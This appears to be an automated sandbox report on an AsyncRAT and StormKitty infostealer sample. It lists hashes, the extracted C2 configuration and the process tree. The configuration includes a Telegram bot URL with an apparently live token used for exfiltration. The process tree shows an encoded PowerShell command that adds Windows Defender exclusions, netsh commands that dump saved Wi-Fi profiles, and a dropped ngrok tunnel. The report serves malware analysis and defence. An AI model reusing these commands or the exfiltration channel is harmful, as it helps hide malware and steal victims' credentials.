Analysis

  • max time kernel
    145s
  • max time network
    141s
  • platform
    windows7_x64
  • resource
    win7-20230712-en
  • resource tags

    arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
  • submitted
    11-08-2023 14:32

General

  • Target

    fe.exe

  • Size

    24.0MB

  • MD5

    fe7a215f58c846f671142227e0a71061

  • SHA1

    f40c456ce9f674ee93d3ef691c1b3aec0c53156b

  • SHA256

    69a281695cfceb02aec31b7ecc8105a60d606b2fc168ab32964380cd5fa79827

  • SHA512

    ff7efbd82997f802339407e709f074277ea609ac1f30ba1d768c5daac4a4990b7a731361717874fe98d524e0a012333e8b45ea1f83a1cc793fd0a06d8296b1ae

  • SSDEEP

    393216:VT4ER8LcdmjoDuUKQhgL9bH3x0PmFhpbgab/bKh17KfxRu7i4Kw5jnS01oufNTda:VT4ER0pjoNvhcX6u1blb/bEmZRGi4Lb5

Malware Config

Extracted

Family

asyncrat

Botnet

Default

C2

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot6085983475:AAG9ma6AdbwS2Vmvqb_xIeiP1vbivSAPlXU/sendMessage?chat_id=1829819531

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty payload 4 IoCs
  • Async RAT payload 5 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops desktop.ini file(s) 5 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fe.exe
    "C:\Users\Admin\AppData\Local\Temp\fe.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2232
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHMAYgBmACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAdQBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAbgBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBhACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2452
    • C:\Users\Admin\AppData\Local\Temp\deneme.exe
      "C:\Users\Admin\AppData\Local\Temp\deneme.exe"
      2⤵
      • Executes dropped EXE
      • Drops desktop.ini file(s)
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2916
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1616
        • C:\Windows\SysWOW64\chcp.com
          chcp 65001
          4⤵
            PID:2272
          • C:\Windows\SysWOW64\netsh.exe
            netsh wlan show profile
            4⤵
              PID:2340
            • C:\Windows\SysWOW64\findstr.exe
              findstr All
              4⤵
                PID:2176
            • C:\Windows\SysWOW64\cmd.exe
              "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2256
              • C:\Windows\SysWOW64\chcp.com
                chcp 65001
                4⤵
                  PID:840
                • C:\Windows\SysWOW64\netsh.exe
                  netsh wlan show networks mode=bssid
                  4⤵
                    PID:1152
              • C:\Users\Admin\AppData\Local\Temp\ngrok.exe
                "C:\Users\Admin\AppData\Local\Temp\ngrok.exe"
                2⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:2376

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

              Filesize

              344B

              MD5

              e41099198f862ef9d52ea59795048602

              SHA1

              020f37c0d5df874381759a7d9bcb86002e2c92ae

              SHA256

              3db072c9864f429c20625267f0dae884e8aab74275854249b7c2d7c43f795835

              SHA512

              24526ab417b144760e332c123b9ed3007f5be8d71d679edf92142b0bf439b5f620b4204e33d8e2f4193890cc261263948a3a53ac9b1aff932176a24fc1e87d25

            • C:\Users\Admin\AppData\Local\9f939a65f7cf331a6a6cc0da3d0c4a8d\msgid.dat

              Filesize

              1B

              MD5

              cfcd208495d565ef66e7dff9f98764da

              SHA1

              b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

              SHA256

              5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

              SHA512

              31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

            • C:\Users\Admin\AppData\Local\Temp\CabB5.tmp

              Filesize

              62KB

              MD5

              3ac860860707baaf32469fa7cc7c0192

              SHA1

              c33c2acdaba0e6fa41fd2f00f186804722477639

              SHA256

              d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904

              SHA512

              d62ad2408c969a95550fb87efda50f988770ba5e39972041bf85924275baf156b8bec309ecc6409e5acdd37ec175dea40eff921ab58933b5b5b5d35a6147567c

            • C:\Users\Admin\AppData\Local\Temp\Tar200.tmp

              Filesize

              164KB

              MD5

              4ff65ad929cd9a367680e0e5b1c08166

              SHA1

              c0af0d4396bd1f15c45f39d3b849ba444233b3a2

              SHA256

              c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6

              SHA512

              f530dc0d024a5a3b8903ffaaa41b608a5ccdd6da4ba1949f2c2e55a9fca475fec5c8d2119b5763cabe7ef1c3788fb9dcac621869db51d65b1d83cfe404fb4c27

            • C:\Users\Admin\AppData\Local\Temp\deneme.exe

              Filesize

              170KB

              MD5

              958062458cd994df325348bb9f8f9d11

              SHA1

              6d678d971f4239f9304a3a6ac9941b9d7de1ba27

              SHA256

              109f96c67f55689c41320f832134501ec02389a813eba1d990d192ab378ad533

              SHA512

              e73c665f0cd3cc53ea4ca0ef50d196fce4783488759bd9f6b8d9cb842382e88327509a317dd328ddf7b7fc988cde06a46cd82fe2783165f75d5f812e231affff

            • C:\Users\Admin\AppData\Local\Temp\deneme.exe

              Filesize

              170KB

              MD5

              958062458cd994df325348bb9f8f9d11

              SHA1

              6d678d971f4239f9304a3a6ac9941b9d7de1ba27

              SHA256

              109f96c67f55689c41320f832134501ec02389a813eba1d990d192ab378ad533

              SHA512

              e73c665f0cd3cc53ea4ca0ef50d196fce4783488759bd9f6b8d9cb842382e88327509a317dd328ddf7b7fc988cde06a46cd82fe2783165f75d5f812e231affff

            • C:\Users\Admin\AppData\Local\Temp\ngrok.exe

              Filesize

              23.8MB

              MD5

              1c900bf7791f168639d27e19a90a9be7

              SHA1

              ff6b857b8aaf8d9ed72ae300575aeb4ff21925db

              SHA256

              b25a372ebb6692fbc2d3697467a7611dbbd521dd61ed995fa82c170c3ef50300

              SHA512

              c0a96693031c56b4375478e7c15f41ef512b7eec72496e26dcb5dc688b13431852e2c30f98ef25a2d06df421e8c688b17fa603887ef3ae6980c6ee3789fe2988

            • C:\Users\Admin\AppData\Local\Temp\ngrok.exe

              Filesize

              23.8MB

              MD5

              1c900bf7791f168639d27e19a90a9be7

              SHA1

              ff6b857b8aaf8d9ed72ae300575aeb4ff21925db

              SHA256

              b25a372ebb6692fbc2d3697467a7611dbbd521dd61ed995fa82c170c3ef50300

              SHA512

              c0a96693031c56b4375478e7c15f41ef512b7eec72496e26dcb5dc688b13431852e2c30f98ef25a2d06df421e8c688b17fa603887ef3ae6980c6ee3789fe2988

            • C:\Users\Admin\AppData\Local\Temp\ngrok.exe

              Filesize

              23.8MB

              MD5

              1c900bf7791f168639d27e19a90a9be7

              SHA1

              ff6b857b8aaf8d9ed72ae300575aeb4ff21925db

              SHA256

              b25a372ebb6692fbc2d3697467a7611dbbd521dd61ed995fa82c170c3ef50300

              SHA512

              c0a96693031c56b4375478e7c15f41ef512b7eec72496e26dcb5dc688b13431852e2c30f98ef25a2d06df421e8c688b17fa603887ef3ae6980c6ee3789fe2988

            • \Users\Admin\AppData\Local\Temp\ngrok.exe

              Filesize

              23.8MB

              MD5

              1c900bf7791f168639d27e19a90a9be7

              SHA1

              ff6b857b8aaf8d9ed72ae300575aeb4ff21925db

              SHA256

              b25a372ebb6692fbc2d3697467a7611dbbd521dd61ed995fa82c170c3ef50300

              SHA512

              c0a96693031c56b4375478e7c15f41ef512b7eec72496e26dcb5dc688b13431852e2c30f98ef25a2d06df421e8c688b17fa603887ef3ae6980c6ee3789fe2988

            • \Users\Admin\AppData\Local\Temp\ngrok.exe

              Filesize

              23.8MB

              MD5

              1c900bf7791f168639d27e19a90a9be7

              SHA1

              ff6b857b8aaf8d9ed72ae300575aeb4ff21925db

              SHA256

              b25a372ebb6692fbc2d3697467a7611dbbd521dd61ed995fa82c170c3ef50300

              SHA512

              c0a96693031c56b4375478e7c15f41ef512b7eec72496e26dcb5dc688b13431852e2c30f98ef25a2d06df421e8c688b17fa603887ef3ae6980c6ee3789fe2988

            • \Users\Admin\AppData\Local\Temp\ngrok.exe

              Filesize

              23.8MB

              MD5

              1c900bf7791f168639d27e19a90a9be7

              SHA1

              ff6b857b8aaf8d9ed72ae300575aeb4ff21925db

              SHA256

              b25a372ebb6692fbc2d3697467a7611dbbd521dd61ed995fa82c170c3ef50300

              SHA512

              c0a96693031c56b4375478e7c15f41ef512b7eec72496e26dcb5dc688b13431852e2c30f98ef25a2d06df421e8c688b17fa603887ef3ae6980c6ee3789fe2988

            • memory/2232-56-0x0000000003870000-0x00000000038F0000-memory.dmp

              Filesize

              512KB

            • memory/2232-78-0x000007FEF5B40000-0x000007FEF652C000-memory.dmp

              Filesize

              9.9MB

            • memory/2232-55-0x0000000000230000-0x0000000001A2C000-memory.dmp

              Filesize

              24.0MB

            • memory/2232-54-0x000007FEF5B40000-0x000007FEF652C000-memory.dmp

              Filesize

              9.9MB

            • memory/2452-81-0x000007FEF2450000-0x000007FEF2DED000-memory.dmp

              Filesize

              9.6MB

            • memory/2452-82-0x0000000002850000-0x00000000028D0000-memory.dmp

              Filesize

              512KB

            • memory/2452-84-0x000000000285B000-0x00000000028C2000-memory.dmp

              Filesize

              412KB

            • memory/2452-67-0x000000001B320000-0x000000001B602000-memory.dmp

              Filesize

              2.9MB

            • memory/2452-83-0x000007FEF2450000-0x000007FEF2DED000-memory.dmp

              Filesize

              9.6MB

            • memory/2452-68-0x0000000001F90000-0x0000000001F98000-memory.dmp

              Filesize

              32KB

            • memory/2452-80-0x0000000002854000-0x0000000002857000-memory.dmp

              Filesize

              12KB

            • memory/2916-86-0x0000000074890000-0x0000000074F7E000-memory.dmp

              Filesize

              6.9MB

            • memory/2916-157-0x0000000004ED0000-0x0000000004F10000-memory.dmp

              Filesize

              256KB

            • memory/2916-161-0x0000000004ED0000-0x0000000004F10000-memory.dmp

              Filesize

              256KB

            • memory/2916-152-0x0000000004ED0000-0x0000000004F10000-memory.dmp

              Filesize

              256KB

            • memory/2916-88-0x0000000074890000-0x0000000074F7E000-memory.dmp

              Filesize

              6.9MB

            • memory/2916-87-0x0000000004ED0000-0x0000000004F10000-memory.dmp

              Filesize

              256KB

            • memory/2916-85-0x0000000000B70000-0x0000000000BA0000-memory.dmp

              Filesize

              192KB